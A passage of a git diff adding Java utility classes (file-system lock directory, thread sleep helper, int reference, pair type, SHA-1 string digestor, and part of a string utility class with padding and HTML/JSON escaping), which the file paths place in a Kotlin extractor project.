+import com.github.codeql.Severity;
+
+/**
+ * Helper class to simplify handling of file-system-based inter-process
+ * locking and mutual exclusion.
+ *
+ * Both files and directories can be locked; locks are provided in the
+ * usual flavours of "shared" and "exclusive", plus a no-op variety to
+ * help unify code -- see the {@link LockingMode} enum.
+ *
+ * Note that each locked file requires one file descriptor to be held open.
+ * It is vital for clients to avoid creating too many locks, and to release
+ * locks when possible.
+ *
+ * The locks obtained by this class are VM-wide, and cannot be used to
+ * ensure mutual exclusion between threads of the same VM. Rather, they
+ * can enforce mutual exclusion between separate VMs trying to acquire
+ * locks for the same paths.
+ */
+public class LockDirectory {
+	private final Logger logger;
+
+	private final File lockDir;
+
+	/**
+	 * An enum describing the possible locking modes.
+	 */
+	public enum LockingMode {
+		/**
+		 * Shared mode: A shared lock can be taken any number of times, but only
+		 * if no exclusive lock is in place.
+		 */
+		Shared(true),
+		/**
+		 * An exclusive lock can only be taken if no other lock is in place; it
+		 * prevents all other locks.
+		 */
+		Exclusive(false),
+		/**
+		 * A dummy mode: Lock and unlock operations are no-ops.
+		 */
+		None(true),
+		;
+
+		private boolean shared;
+
+		private LockingMode(boolean shared) {
+			this.shared = shared;
+		}
+
+		public boolean isShared() { return shared; }
+	}
+
+	/**
+	 * An internal representation of a locked path. Contains some immutable state: The canonical
+	 * path being locked, and the (derived) lock and status files. When the {@link #lock(LockDirectory.LockingMode, String)}
+	 * method is called, a file descriptor to the lock file is opened; {@link #unlock(LockDirectory.LockingMode)} must be
+	 * called to release it when the lock is no longer required.
+	 *
+	 * This class is not thread-safe, but it is expected that its clients ({@link LockDirectory})
+	 * enforce thread-safe access to instances.
+	 */
+	private class LockFile {
+		private final String lockedPath;
+		private final File lockFile;
+		private final File statusFile;
+
+		private LockingMode mode = null;
+		private RandomAccessFile lockStream = null;
+		private FileChannel lockChannel = null;
+		private FileLock lock = null;
+
+		public LockFile(File f) {
+			try {
+				lockedPath = f.getCanonicalPath();
+			} catch (IOException e) {
+				throw new ResourceError("Failed to canonicalise path for locking: " + f, e);
+			}
+			String sha = StringDigestor.digest(lockedPath);
+			lockFile = new File(lockDir, sha);
+			statusFile = new File(lockDir, sha + ".log");
+		}
+
+		/**
+		 * Get the (canonical) path associated with this lock file -- this is the
+		 * path that is being locked.
+		 */
+		public String getLockedPath() {
+			return lockedPath;
+		}
+
+		/**
+		 * Acquire a lock with the given mode. If this method returns normally,
+		 * the lock has been acquired -- an exception is thrown otherwise. This
+		 * method does not block.
+		 *
+		 * If no exception is thrown, a file descriptor is kept open until
+		 * {@link #unlock(LockDirectory.LockingMode)} is called.
+		 * @param mode The desired locking mode. If {@link LockingMode#None}, this
+		 * 	operation is a no-op (and does not in fact open a file descriptor).
+		 * @param message A message to be recorded alongside the lock file. This
+		 * is included in the exception message of other processes using this
+		 * 	infrastructure when the lock acquisition fails.
+		 * @throws CatastrophicError if a lock has already been obtained and not released.
+		 * @throws ResourceError if an exception occurs while obtaining the lock, including
+		 * 	if it cannot be acquired because another process holds it.
+		 */
+		public void lock(LockingMode mode, String message) {
+			if (mode == LockingMode.None) return;
+			if (lock != null)
+				throw new CatastrophicError("Trying to re-lock existing lock for " + lockedPath);
+			this.mode = mode;
+			try {
+				lockStream = new RandomAccessFile(lockFile, "rw");
+				lockChannel = lockStream.getChannel();
+				tryLock(mode);
+				new WholeIO().strictwrite(statusFile, mode + " lock acquired for " + lockedPath + ": " + message);
+			} catch (IOException e) {
+				throw new ResourceError("Failed to obtain lock for " + lockedPath + " at " + lockFile, e);
+			}
+		}
+
+		/**
+		 * Acquire a lock with the given mode. If this method returns normally,
+		 * the lock has been acquired -- an exception is thrown otherwise. This
+		 * method blocks indefinitely while waiting to acquire the lock.
+		 *
+		 * If no exception is thrown, a file descriptor is kept open until
+		 * {@link #unlock(LockDirectory.LockingMode)} is called.
+		 * @param mode The desired locking mode. If {@link LockingMode#None}, this
+		 * 	operation is a no-op (and does not in fact open a file descriptor).
+		 * @param message A message to be recorded alongside the lock file. This
+		 * is included in the exception message of other processes using this
+		 * 	infrastructure when the lock acquisition fails.
+		 * @throws ResourceError if an exception occurs while obtaining the lock,.
+		 */
+		public void blockingLock(LockingMode mode, String message) {
+			if (mode == LockingMode.None) return;
+			if (lock != null)
+				throw new CatastrophicError("Trying to re-lock existing lock for " + lockedPath);
+			this.mode = mode;
+			try {
+				lockStream = new RandomAccessFile(lockFile, "rw");
+				lockChannel = lockStream.getChannel();
+				lock = lockChannel.tryLock(0, Long.MAX_VALUE, mode.isShared());
+				while (lock == null) {
+					ThreadUtil.sleep(500, true);
+					lock = lockChannel.tryLock(0, Long.MAX_VALUE, mode.isShared());
+				}
+				new WholeIO().strictwrite(statusFile, mode + " lock acquired for " + lockedPath + ": " + message);
+			} catch (IOException e) {
+				throw new ResourceError("Failed to obtain lock for " + lockedPath + " at " + lockFile, e);
+			}
+		}
+
+		/**
+		 * Internal helper method: Try to acquire a particular kind of lock, assuming the
+		 * {@link #lockChannel} has been set up. Throws if acquisition fails, rather than
+		 * blocking.
+		 * @param mode The desired lock mode -- exclusive or shared.
+		 * @throws IOException if acquisition of the lock fails for reasons other than
+		 * 	an incompatible lock already being held by another process.
+		 * @throws ResourceError if the lock is already held by another process. The exception
+		 * 	message includes the status string, if it can be determined.
+		 */
+		private void tryLock(LockingMode mode) throws IOException {
+			lock = lockChannel.tryLock(0, Long.MAX_VALUE, mode.isShared());
+			if (lock == null) {
+				String status = new WholeIO().read(statusFile);
+				throw new ResourceError("Failed to acquire " + mode + " lock for " + lockedPath + "." +
+						(status == null ? "" : "\nExisting lock message: " + status));
+			}
+		}
+
+		/**
+		 * Release this lock. This will close the file descriptor opened by {@link #lock(LockDirectory.LockingMode, String)}.
+		 * @param mode A mode, which must match the mode passed into {@link #lock(LockDirectory.LockingMode, String)}
+		 * 	(unless it is {@link LockingMode#None}, in which case the method is a no-op).
+		 * @throws CatastrophicError if the passed mode does not match the one used for locking.
+		 * @throws ResourceError if releasing the lock or clearing up temporary files fails.
+		 */
+		public void unlock(LockingMode mode) {
+			if (mode == LockingMode.None)
+				return;
+			if (mode != this.mode)
+				throw new CatastrophicError("Attempting to unlock " + lockedPath + " with incompatible mode: " +
+						this.mode + " lock was obtained, but " + mode + " lock is being released.");
+			release(mode);
+		}
+
+		private void release(LockingMode mode) {
+			try {
+				if (lock != null)
+					try {
+						// On Windows, the lockChannel/lockStream prevents the lockFile from being
+						// deleted. The statusFile should only be written after the lock is held,
+						// so deleting it before releasing the lock is not expected to fail if the
+						// lock is exclusive.
+						// Deleting the lock file may fail, if another process just acquires it
+						// after we release it.
+						try {
+							if (statusFile.exists() && !statusFile.delete()) {
+									if (!mode.isShared()) throw new ResourceError("Could not clear status file " + statusFile);
+							}
+						} finally {
+							lock.release();
+							FileUtil.close(lockStream);
+							FileUtil.close(lockChannel);
+							if (!lockFile.delete())
+								logger.error("Could not clear lock file " + lockFile + " (it might have been locked by another process).");
+						}
+					} catch (IOException e) {
+						throw new ResourceError("Couldn't release lock for " + lockedPath, e);
+					}
+			} finally {
+				mode = null;
+				lockStream = null;
+				lockChannel = null;
+				lock = null;
+			}
+		}
+	}
+
+	private static final Map<File, LockDirectory> instances = new LinkedHashMap<File, LockDirectory>();
+
+	/**
+	 * Obtain the {@link LockDirectory} instance for a given lock directory. The directory
+	 * in question will be created if it doesn't exist.
+	 * @param lockDir A directory -- must be writable, and will be created if it doesn't
+	 * 	already exist.
+	 * @return The {@link LockDirectory} instance responsible for the specified lock directory.
+	 * @throws ResourceError if the directory cannot be created, exists as a non-directory
+	 * 	or cannot be canonicalised.
+	 */
+	public static synchronized LockDirectory instance(File lockDir) {
+		return instance(lockDir, null);
+	}
+
+	/**
+	 * See {@link #instance(File)}.
+	 * Use this method only if log output should be directed to a custom {@link Logger}.
+	 */
+	public static synchronized LockDirectory instance(File lockDir, Logger logger) {
+		// First try to create the directory -- canonicalisation will fail if it doesn't exist.
+		try {
+			FileUtil.mkdirs(lockDir);
+		} catch(ResourceError e) {
+			throw new ResourceError("Couldn't ensure lock directory " + lockDir + " exists.", e);
+		}
+
+		// Canonicalise.
+		try {
+			lockDir = lockDir.getCanonicalFile();
+		} catch (IOException e) {
+			throw new ResourceError("Couldn't canonicalise requested lock directory " + lockDir, e);
+		}
+
+		// Find and return the right instance.
+		LockDirectory instance = instances.get(lockDir);
+		if (instance == null) {
+			instance = new LockDirectory(lockDir, logger);
+			instances.put(lockDir, instance);
+		}
+		return instance;
+	}
+
+	/**
+	 * A map from canonical locked paths to the associated {@link LockFile} instances.
+	 */
+	private final Map<String, LockFile> locks = new LinkedHashMap<String, LockFile>();
+
+	/**
+	 * Create a new instance of {@link LockDirectory}, holding all locks in the
+	 * specified log directory.
+	 * @param lockDir A writable directory in which locks will be stored.
+	 * @param logger The {@link Logger} to use, if non-null.
+	 */
+	private LockDirectory(File lockDir, Logger logger) {
+		this.lockDir = lockDir;
+		this.logger = logger;
+	}
+
+	/**
+	 * Acquire a lock of the specified kind for the path represented by the given file.
+	 * The file should exist, and its path should be canonicalisable.
+	 *
+	 * Calling this method keeps one file descriptor open
+	 * @param mode The desired locking mode. If {@link LockingMode#None} is passed, this is a no-op,
+	 * 	otherwise it determines whether a shared or exclusive lock is acquired.
+	 * @param f The path that should be locked -- does not need to be writable, and will not
+	 * 	be opened.
+	 * @param message A message describing the purpose of the lock acquisition. This is
+	 * 	potentially displayed when other processes fail to acquire the lock for the given
+	 * 	path.
+	 * @throws CatastrophicError if an attempt is made to lock an already locked path.
+	 */
+	public synchronized void lock(LockingMode mode, File f, String message) {
+		if (mode == LockingMode.None) return;
+		LockFile lock = new LockFile(f);
+		if (locks.containsKey(lock.getLockedPath()))
+				throw new CatastrophicError("Trying to lock already locked path " + lock.getLockedPath() + ".");
+		lock.lock(mode, message);
+		locks.put(lock.getLockedPath(), lock);
+	}
+
+	/**
+	 * Acquire a lock of the specified kind for the path represented by the given file.
+	 * The file should exist, and its path should be canonicalisable. This method waits
+	 * indefinitely for the lock to become available. There is no ordering on processes
+	 * that are waiting to acquire the lock in this manner.
+	 *
+	 * Calling this method keeps one file descriptor open
+	 * @param mode The desired locking mode. If {@link LockingMode#None} is passed, this is a no-op,
+	 * 	otherwise it determines whether a shared or exclusive lock is acquired.
+	 * @param f The path that should be locked -- does not need to be writable, and will not
+	 * 	be opened.
+	 * @param message A message describing the purpose of the lock acquisition. This is
+	 * 	potentially displayed when other processes fail to acquire the lock for the given
+	 * 	path.
+	 */
+	public synchronized void blockingLock(LockingMode mode, File f, String message) {
+		if (mode == LockingMode.None) return;
+		LockFile lock = new LockFile(f);
+		if (locks.containsKey(lock.getLockedPath()))
+			throw new CatastrophicError("Trying to lock already locked path " + lock.getLockedPath() + ".");
+		lock.blockingLock(mode, message);
+		locks.put(lock.getLockedPath(), lock);
+	}
+
+	/**
+	 * Release a lock held on a particular path.
+	 *
+	 * This method closes the file descriptor associated with the lock, freeing related
+	 * resources.
+	 * @param mode the mode of the lock. If it equals {@link LockingMode#None}, this is a no-op; otherwise
+	 * 	it is expected to match the mode passed to the corresponding {@link #lock(LockingMode, File, String)}
+	 * 	call.
+	 * @param f The path which should be unlocked. As with {@link #lock(LockingMode, File, String)}, it is
+	 *	expected to exist and be canonicalisable. It also must be currently locked.
+	 * @throws CatastrophicError on API contract violation: The path isn't currently locked, or the
+	 * 	mode doesn't correspond to the mode specified when it was locked.
+	 * @throws ResourceError if something goes wrong while releasing resources.
+	 */
+	public synchronized void unlock(LockingMode mode, File f) {
+		if (!maybeUnlock(mode, f))
+			throw new CatastrophicError("Trying to unlock " + new LockFile(f).getLockedPath() + ", but it is not locked.");
+	}
+
+	/**
+	 * Release a lock that may be held on a particular path.
+	 *
+	 * This method closes the file descriptor associated with the lock, freeing related
+	 * resources. Unlike {@link #unlock(LockingMode, File)}, this method will not throw
+	 * if the specified {@link File} is not locked, making it more suitable for post-exception
+	 * cleanup -- <code>false</code> will be returned in that case.
+	 * @param mode the mode of the lock. If it equals {@link LockingMode#None}, this is a no-op; otherwise
+	 * 	it is expected to match the mode passed to the corresponding {@link #lock(LockingMode, File, String)}
+	 * 	call.
+	 * @param f The path which should be unlocked. As with {@link #lock(LockingMode, File, String)}, it is
+	 *	expected to exist and be canonicalisable.
+	 * @return <code>true</code> if <code>mode == LockingMode.None</code>, or the unlock operation completed
+	 * 		successfully; <code>false</code> if the path <code>f</code> isn't currently locked.
+	 * @throws ResourceError if something goes wrong while releasing resources.
+	 */
+	public synchronized boolean maybeUnlock(LockingMode mode, File f) {
+		if (mode == LockingMode.None) return true;
+		// New instance constructed just to share the logic of computing the canonical path.
+		LockFile key = new LockFile(f);
+		LockFile existing = locks.get(key.getLockedPath());
+		if (existing == null)
+			return false;
+		locks.remove(key.getLockedPath());
+		existing.unlock(mode);
+		return true;
+	}
+
+	public File getDir(){ return lockDir; }
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/concurrent/ThreadUtil.java b/java/kotlin-extractor/src/main/java/com/semmle/util/concurrent/ThreadUtil.java
new file mode 100644
index 00000000000..4ebbf2198ee
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/concurrent/ThreadUtil.java
@@ -0,0 +1,43 @@
+package com.semmle.util.concurrent;
+
+import com.semmle.util.exception.CatastrophicError;
+import com.semmle.util.exception.Exceptions;
+
+
+/**
+ * Utility methods related to Threads.
+ */
+public enum ThreadUtil
+{
+	/** Singleton instance of {@link ThreadUtil}. */
+	SINGLETON;
+
+	/**
+	 * Sleep for {@code millis} milliseconds.
+	 * <p>
+	 * Unlike {@link Thread#sleep(long)} (which is wrapped), this method does not throw an
+	 * {@link InterruptedException}, rather in the event of interruption it either throws an
+	 * {@link CatastrophicError} (if {@code allowInterrupt} is false), or accepts the interruption and
+	 * returns false.
+	 * </p>
+	 *
+	 * @return true if a sleep of {@code millis} milliseconds was performed without interruption, or
+	 *         false if an interruption occurred.
+	 */
+	public static boolean sleep(long millis, boolean allowInterrupt)
+	{
+		try {
+			Thread.sleep(millis);
+		}
+		catch (InterruptedException ie) {
+			if (allowInterrupt) {
+				Exceptions.ignore(ie, "explicitly permitted interruption");
+				return false;
+			}
+			else {
+				throw new CatastrophicError("Interrupted", ie);
+			}
+		}
+		return true;
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/data/IntRef.java b/java/kotlin-extractor/src/main/java/com/semmle/util/data/IntRef.java
new file mode 100644
index 00000000000..ce78ded951a
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/data/IntRef.java
@@ -0,0 +1,19 @@
+package com.semmle.util.data;
+
+/**
+ * A mutable reference to a primitive int. Specialised to avoid
+ * boxing.
+ *
+ */
+public class IntRef {
+	private int value;
+	
+	public IntRef(int value) {
+		this.value = value;
+	}
+	
+	public int get() { return value; }
+	public void set(int value) { this.value = value; }
+	public void inc() { value++; }
+	public void add(int val) { value += val; };
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/data/Pair.java b/java/kotlin-extractor/src/main/java/com/semmle/util/data/Pair.java
new file mode 100644
index 00000000000..7c8ff7b6ae3
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/data/Pair.java
@@ -0,0 +1,62 @@
+package com.semmle.util.data;
+
+
+/**
+ * An (immutable) ordered pair of values.
+ * <p>
+ * Pairs are compared with structural equality: <code>(x,y) = (x', y')</code> iff <code>x=x'</code>
+ * and <code>y=y'</code>.
+ * </p>
+ *
+ * @param <X> the type of the first component of the pair
+ * @param <Y> the type of the second component of the pair
+ */
+public class Pair<X,Y> extends Tuple2<X, Y>
+{
+	private static final long serialVersionUID = -2871892357006076659L;
+	
+	/*
+	 * Constructor and factory
+	 */
+
+
+	/**
+	 * Create a new pair of values
+	 * @param x the first component of the pair
+	 * @param y the second component of the pair
+	 */
+	public Pair(X x, Y y) {
+		super(x, y);
+	}
+
+	/**
+	 * Create a new pair of values. This behaves identically
+	 * to the constructor, but benefits from type inference
+	 * @param x the first component of the pair
+	 * @param y the second component of the pair
+	 */
+	public static <X,Y> Pair<X,Y> make(X x, Y y) {
+		return new Pair<X,Y>(x, y);
+	}
+
+	/*
+	 * Getters
+	 */
+
+	/**
+	 * Get the first component of this pair
+	 * @return the first component of the pair
+	 */
+	public X fst() {
+		return value0();
+	}
+
+	/**
+	 * Get the second component of this pair
+	 * @return the second component of the pair
+	 */
+	public Y snd() {
+		return value1();
+	}
+
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/data/StringDigestor.java b/java/kotlin-extractor/src/main/java/com/semmle/util/data/StringDigestor.java
new file mode 100644
index 00000000000..36ab45a7742
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/data/StringDigestor.java
@@ -0,0 +1,173 @@
+package com.semmle.util.data;
+
+import java.nio.charset.Charset;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+
+import com.semmle.util.exception.CatastrophicError;
+
+/**
+ * Encapsulate the creation of message digests from strings.
+ * 
+ * <p>
+ * This class acts as a (partial) output stream, until the <code>getDigest()</code> method is
+ * called. After this the class can no longer be used, except to repeatedly call
+ * {@link #getDigest()}.
+ * 
+ * <p>
+ * UTF-8 is used internally as the {@link Charset} for this class when converting Strings to bytes.
+ */
+public class StringDigestor {
+	private static final Charset UTF8 = Charset.forName("UTF-8");
+	private static final String NULL_STRING = "<null>";
+	private static final int CHUNK_SIZE = 32;
+
+	private MessageDigest digest;
+	private byte[] digestBytes;
+	private final byte[] buf = new byte[CHUNK_SIZE * 3]; // A Java char becomes at most 3 bytes of UTF-8
+
+	/**
+	 * Create a StringDigestor using SHA-1, ready to accept data
+	 */
+	public StringDigestor() {
+		this("SHA-1");
+	}
+
+	/**
+	 * @param digestAlgorithm the algorithm to use in the internal {@link MessageDigest}.
+	 */
+	public StringDigestor(String digestAlgorithm) {
+		try {
+			digest = MessageDigest.getInstance(digestAlgorithm);
+		} catch (NoSuchAlgorithmException e) {
+			throw new CatastrophicError("StringDigestor failed to find the required digest algorithm: " + digestAlgorithm, e);
+		}
+	}
+
+	public void reset() {
+		if (digestBytes == null) throw new CatastrophicError("API violation: Digestor is not finished.");
+		digest.reset();
+		digestBytes = null;
+	}
+
+	/**
+	 * Write an object into this digestor. This converts the object to a
+	 * string using toString(), writes the length, and then writes the
+	 * string itself.
+	 */
+	public StringDigestor write(Object toAppend) {
+		String str;
+		if (toAppend == null) {
+			str = NULL_STRING;
+		} else {
+			str = toAppend.toString();
+		}
+		writeBinaryInt(str.length());
+		writeNoLength(str);
+		return this;
+	}
+
+	/**
+	 * Write the given string without prefixing it by its length. 
+	 */
+	public StringDigestor writeNoLength(Object toAppend) {
+		String s = toAppend.toString();
+		int len = s.length();
+		int i = 0;
+		while(i + CHUNK_SIZE < len) {
+			i = writeUTF8(s, i, i + CHUNK_SIZE);
+		}
+		writeUTF8(s, i, len);
+		return this;
+	}
+
+	private int writeUTF8(String s, int begin, int end) {
+		if (digestBytes != null) throw new CatastrophicError("API violation: Digestor is finished.");
+		byte[] buf = this.buf;
+		int len = 0;
+		for(int i = begin; i < end; ++i) {
+			int c = s.charAt(i);
+			if (c <= 0x7f) {
+				buf[len++] = (byte)c;
+			} else if (c <= 0x7ff) {
+				buf[len] = (byte)(0xc0 | (c >> 6));
+				buf[len+1] = (byte)(0x80 | (c & 0x3f));
+				len += 2;
+			} else if (c < 0xd800 || c > 0xdfff) {
+				buf[len] = (byte)(0xe0 | (c >> 12));
+				buf[len+1] = (byte)(0x80 | ((c >> 6) & 0x3f));
+				buf[len+2] = (byte)(0x80 | (c & 0x3f));
+				len += 3;
+			} else if (i + 1 < end) {
+				int c2 = s.charAt(i + 1);
+				if (c > 0xdbff || c2 < 0xdc00 || c2 > 0xdfff) {
+					// Invalid UTF-16
+				} else {
+					c = 0x10000 + ((c - 0xd800) << 10) + (c2 - 0xdc00);
+					buf[len] = (byte)(0xf0 | (c >> 18));
+					buf[len+1] = (byte)(0x80 | ((c >> 12) & 0x3f));
+					buf[len+2] = (byte)(0x80 | ((c >> 6) & 0x3f));
+					buf[len+3] = (byte)(0x80 | (c & 0x3f));
+					len += 4;
+					++i;
+				}
+			} else {
+				--end;
+				break;
+			}
+		}
+		digest.update(buf, 0, len);
+		return end;
+	}
+
+	/**
+	 * Write an array of raw bytes to the digestor. This appends the contents
+	 * of the array to the accumulated data used for the digest.
+	 */
+	public StringDigestor writeBytes(byte[] data) {
+		if (digestBytes != null) throw new CatastrophicError("API violation: Digestor is finished.");
+		digest.update(data);
+		return this;
+	}
+
+	/**
+	 * Return the hex-encoded digest as a {@link String}.
+	 * 
+	 * Get the digest from the data previously appended using <code>write(Object)</code>.
+	 * After this is called, the instance's {@link #write(Object)} and {@link #writeBytes(byte[])}
+	 * methods may no longer be used.
+	 */
+	public String getDigest() {
+		if (digestBytes == null) {
+			digestBytes = digest.digest();
+		}
+		return StringUtil.toHex(digestBytes);
+	}
+
+	public static String digest(Object o) {
+		StringDigestor digestor = new StringDigestor();
+		digestor.writeNoLength(o);
+		return digestor.getDigest();
+	}
+
+	/** Compute a git-style SHA for the given string. */
+	public static String gitBlobSha(String content) {
+		byte[] bytes = content.getBytes(UTF8);
+		return digest("blob " + bytes.length + "\0" + content);
+	}
+
+	/**
+	 * Convert an int to a byte[4] using its little-endian 32bit representation, and append the
+	 * resulting bytes to the accumulated data used for the digest.
+	 */
+	public StringDigestor writeBinaryInt(int i) {
+		if (digestBytes != null) throw new CatastrophicError("API violation: Digestor is finished.");
+		byte[] buf = this.buf;
+		buf[0] = (byte)(i & 0xff);
+		buf[1] = (byte)((i >>> 8) & 0xff);
+		buf[2] = (byte)((i >>> 16) & 0xff);
+		buf[3] = (byte)((i >>> 24) & 0xff);
+		digest.update(buf, 0, 4);
+		return this;
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/data/StringUtil.java b/java/kotlin-extractor/src/main/java/com/semmle/util/data/StringUtil.java
new file mode 100644
index 00000000000..4ace04698d1
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/data/StringUtil.java
@@ -0,0 +1,1247 @@
+package com.semmle.util.data;
+
+import java.math.BigDecimal;
+import java.nio.charset.Charset;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.text.DecimalFormat;
+import java.text.DecimalFormatSymbols;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Locale;
+import java.util.Random;
+import java.util.regex.Pattern;
+
+import com.semmle.util.exception.CatastrophicError;
+import com.semmle.util.exception.Exceptions;
+
+public class StringUtil {
+
+	private static final Random RANDOM = new Random();
+
+	private static final DecimalFormat DOUBLE_FORMATTER;
+	static {
+		// Specify the root locale to ensure we use the "." decimal separator
+		DOUBLE_FORMATTER = new DecimalFormat(
+				"#.######",
+				new DecimalFormatSymbols(Locale.ROOT)
+		);
+		DecimalFormatSymbols decimalFormatSymbols = DOUBLE_FORMATTER.getDecimalFormatSymbols();
+		decimalFormatSymbols.setNaN("NaN");
+		decimalFormatSymbols.setInfinity("Infinity");
+		DOUBLE_FORMATTER.setDecimalFormatSymbols(decimalFormatSymbols);
+	}
+
+	public static String box(List<String> strings) {
+		List<String> lines = new ArrayList<>();
+		for (String s : strings)
+			for (String line : lines(s))
+				lines.add(line);
+
+		int length = 0;
+		for (String s : lines)
+			length = Math.max(length, s.length());
+
+		StringBuilder sb = new StringBuilder();
+		for (int i = 0; i < length + 6; i++)
+			sb.append('*');
+		for (String s : lines) {
+			sb.append("\n*  ");
+			sb.append(s);
+			for (int i = 0; i < length - s.length(); i++)
+				sb.append(' ');
+			sb.append("  *");
+		}
+		sb.append('\n');
+		for (int i = 0; i < length + 6; i++)
+			sb.append('*');
+		return sb.toString();
+	}
+
+	public static String escapeStringLiteralForRegexp(String literal, String charsToPreserve) {
+		final String charsToEscape = "(){}[].^$+\\*?";
+		StringBuilder buf = new StringBuilder();
+		for(int i = 0; i < literal.length(); i++) {
+			char c = literal.charAt(i);
+			if(charsToEscape.indexOf(c) != -1 && charsToPreserve.indexOf(c) == -1) {
+				buf.append("\\").append(c);
+			}
+			else {
+				buf.append(c);
+			}
+		}
+		return buf.toString();
+	}
+
+	public static String pad(int minWidth, Padding pad, String s) {
+
+		int length = s.length();
+		int toPad = minWidth - length;
+
+		if (toPad > 0) {
+			int left;
+			int right;
+			switch (pad) {
+			case LEFT:
+				left = 0;
+				right = toPad;
+				break;
+			case RIGHT:
+				left = toPad;
+				right = 0;
+				break;
+			case CENTRE:
+				left = toPad / 2;
+				right = toPad - left;
+				break;
+			default:
+				throw new CatastrophicError("Unknown padding kind: " + pad);
+			}
+
+			StringBuilder sb = new StringBuilder();
+			for (int i = 0; i < left; i++)
+				sb.append(' ');
+			sb.append(s);
+			for (int i = 0; i < right; i++)
+				sb.append(' ');
+
+			return sb.toString();
+		} else
+			return s;
+
+	}
+
+	public static List<String> pad(Padding pad, Collection<String> strings) {
+		List<String> result = new ArrayList<>(strings.size());
+		int maxWidth = 0;
+		for (String s : strings)
+			maxWidth = Math.max(maxWidth, s.length());
+		for (String s : strings)
+			result.add(pad(maxWidth, pad, s));
+		return result;
+	}
+
+	public static List<String> pad(Padding pad, String... strings) {
+		List<String> result = new ArrayList<>(strings.length);
+		int maxWidth = 0;
+		for (String s : strings)
+			maxWidth = Math.max(maxWidth, s.length());
+		for (String s : strings)
+			result.add(pad(maxWidth, pad, s));
+		return result;
+	}
+
+	public static void padTable(List<String[]> rows, Padding... pad) {
+		int width = pad.length;
+		int[] maxLengths = new int[width];
+		for (String[] row : rows) {
+			if (row.length != width)
+				throw new CatastrophicError("padTable can only be used with a rectangular table. Expected " + width +
+						" columns but found row: " + Arrays.toString(row));
+			for (int i = 0; i < width; i++)
+				maxLengths[i] = Math.max(maxLengths[i], row[i].length());
+		}
+		for (String[] row : rows)
+			for (int i = 0; i < width; i++)
+				row[i] = pad(maxLengths[i], pad[i], row[i]);
+	}
+
+	public static String glue(String separator, Iterable<?> values) {
+		StringBuilder sb = new StringBuilder();
+		boolean first = true;
+		for (Object o : values) {
+			if (first)
+				first = false;
+			else
+				sb.append(separator);
+			sb.append(o == null ? "<null>" : o.toString());
+		}
+		return sb.toString();
+	}
+
+	public static String glue(String separator, Object[] values) {
+		return glue(separator, Arrays.asList(values));
+	}
+
+	public static String glue(String separator, String... values) {
+		return glue(separator, (Object[]) values);
+	}
+
+	public static enum Padding { LEFT, RIGHT, CENTRE }
+
+
+	/**
+	 * Return a new String with any of the four characters !#:= replaced with a back-slash escaped
+	 * equivalent, and any newline characters replaced by a back-slash n.
+	 * <p>
+	 * This allows the String to be used in a .properties file (assuming it does not contain any
+	 * extended unicode characters, which must be converted to unicode escapes).
+	 * </p>
+	 * <p>
+	 * Note that <b>it does not ensure that the String can be used as a <i>key</i> in a .properties
+	 * file</b>, which requires additional escaping of any spaces.
+	 * </p>
+	 *
+	 * @param string The String to escape; must not be null.
+	 * @return The given {@code string} with a back-slash inserted before each instance of any of the
+	 *         four characters: #!:=
+	 * @see #escapePropertiesValue(String)
+	 */
+	public static String escapePropertiesValue (String string)
+	{
+		return string.replace("!", "\\!")
+		             .replace(":", "\\:")
+		             .replace("#", "\\#")
+		             .replace("=", "\\=")
+		             .replace("\n", "\\n");
+	}
+
+	/**
+	 * See {@link #escapePropertiesValue(String)}. This method also escapes spaces, so that the
+	 * {@code string} can be used as a .properties key.
+	 *
+	 * @param string The String to escape; must not be null.
+	 * @return The given {@code string} with a back-slash inserted before each instance of any of the
+	 *         four characters: #!:= or the space character, and newlines replaced by a backslash n.
+	 */
+	public static String escapePropertiesKey (String string)
+	{
+		return escapePropertiesValue(string).replace(" ", "\\ ");
+	}
+
+	/**
+	 * Print a float in a locale-independent way suitable for reading with Double.valueOf().
+	 */
+	public static String printFloat(double value) {
+		if (Math.abs(value) > 999999999999999.0 && !Double.isInfinite(value)) {
+			// `DecimalFormat` for `double` loses precision on large numbers,
+			// printing the least significant digits as all 0.
+			return DOUBLE_FORMATTER.format(new BigDecimal(value));
+		} else {
+			return DOUBLE_FORMATTER.format(value);
+		}
+	}
+
+	public static String escapeHTML(String s) {
+		if (s == null) return null;
+
+		int length = s.length();
+		// initialize a StringBuilder with initial capacity of twice the size of the string,
+		// except when its size is zero, or when doubling the size causes overflow
+		StringBuilder sb = new StringBuilder(length * 2 > 0 ? length * 2 : length);
+		for (int i = 0; i < length; i++) {
+			char c = s.charAt(i);
+			switch (c) {
+			case '<':
+				sb.append("&lt;");
+				break;
+			case '>':
+				sb.append("&gt;");
+				break;
+			case '&':
+				sb.append("&amp;");
+				break;
+			case '"':
+				sb.append("&quot;");
+				break;
+			case '\'':
+				sb.append("&#39;");
+				break;
+			// be careful with this one (non-breaking white space)
+			/*
+			case ' ':
+				sb.append("&nbsp;");
+				break;*/
+
+			default:
+				sb.append(c);
+				break;
+			}
+		}
+		return sb.toString();
+	}
+
+	/**
+	 * Escape special characters in the given string like JSON.stringify does
+	 * (see ECMAScript 5.1, Section 15.12.3).
+	 */
+	public static String escapeJSON(String str) {
+		if (str == null)
+			return null;
+		StringBuilder res = new StringBuilder();
+		for (int i=0, n=str.length(); i<n; ++i) {
+			char c = str.charAt(i);
+			switch (c) {
+			case '"':  res.append("\\\""); break;
+			case '\\': res.append("\\\\"); break;
+			case '\b': res.append("\\b"); break;
+			case '\f': res.append("\\f"); break;
+			case '\n': res.append("\\n"); break;
+			case '\r': res.append("\\r"); break;
+			case '\t': res.append("\\t"); break;
+			default:
+				if (c < ' ')
+					res.append(String.format("\\u%04x", Integer.valueOf(c)));
+				else
+					res.append(c);
+			}
+		}
